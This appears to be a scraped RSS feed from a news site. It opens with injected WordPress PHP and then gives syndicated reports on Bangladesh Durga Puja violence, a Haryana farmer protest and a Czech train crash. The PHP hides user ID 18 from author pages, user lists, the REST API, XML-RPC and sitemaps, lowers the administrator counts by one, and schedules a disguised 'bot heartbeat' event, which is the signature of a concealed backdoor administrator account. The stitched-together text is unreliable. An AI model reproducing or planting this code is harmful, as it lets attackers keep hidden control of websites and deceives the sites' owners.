add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Communal violence erupted during Bangladesh’s Durga Puja celebrations, killing three people and injuring 60 more appeared first on The Edge Media.
]]>
After a video went viral on social media, religious radicals began flocking to the Mandap neighborhood about 9 a.m. According to police, members of law enforcement agencies arrived at the mandap where Hindu worshippers were celebrating Durga Puja in a relatively short period.
The post Communal violence erupted during Bangladesh’s Durga Puja celebrations, killing three people and injuring 60 more appeared first on The Edge Media.
]]>The post Farmers claim they were hit by a BJP MP’s convoy during a protest in Haryana, and one person was injured appeared first on The Edge Media.
]]>
The farmer who was injured was taken to a government hospital in Naraingarh, near Ambala, where the accident occurred. After being treated, he was freed and informed reporters that he was standing by the side of the road when he was knocked over by the vehicle that followed the MP.
Farmers have demanded that an FIR be made against the driver of the car, and have threatened to gherao, or surround, the police station on October 10 if this is not done.
The post Farmers claim they were hit by a BJP MP’s convoy during a protest in Haryana, and one person was injured appeared first on The Edge Media.
]]>The post Two trains collided at a village in the west of the Czech Republic appeared first on The Edge Media.
]]>“Unfortunately, according to the latest information, a train collision… has killed three and left dozens of people injured,” national rail operator Sprava zeleznic said on Twitter.
“All the passengers have been evacuated from the trains,” the firm added.
National police said all passengers were accounted for, adding that the accident happened shortly after 8:00 am (0600 GMT) at Milavce.
“At the moment, 31 people whose lives are not in danger are being treated, seven people are in a critical state and two are dead”, a spokeswoman for Plzen region rescue teams, Maria Svobodova told iRozhlas.cz
The Munich-to-Prague train, number Ex 351 belonging to the German firm Die Laenderbahn, collided with a regional service between the Czech towns of Plzen and Domazlice.
Several foreigners were travelling aboard the German train and some of them were among the injured, local media reported.
According to footage shown on Czech public television, one part of the German train was completely mangled, though both vehicles remained upright.
Die Laenderbahn said in a statement that “the running of the train on the Czech side is the responsibility of the CD”, the Ceske drahy rail company.
Czech Transport Minister Karel Havlicek said “the Ex 351 did not respect a signal… and crashed into the regional train”.
“The situation is serious,” Havlicek said as he headed to the scene of the accident.
Czech Prime Minister Andrej Babis tweeted his “sincere condolences to the families of the dead. It is important to save other lives. Then everything must be investigated.”
“Unfortunately, this summer is full of tragedies,” he added.
Four helicopters, several ambulances and dozens of rescuers were dispatched to the site.
“The German Red Cross, the Bavarian ambulance service and doctors from (the German city of) Cham are also at the scene of the rail accident,” Czech police tweeted.
“German police have also offered assistance,” they added.
Two train crashes in the Czech Republic in July last year left three people dead and dozens injured.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post Two trains collided at a village in the west of the Czech Republic appeared first on The Edge Media.
]]>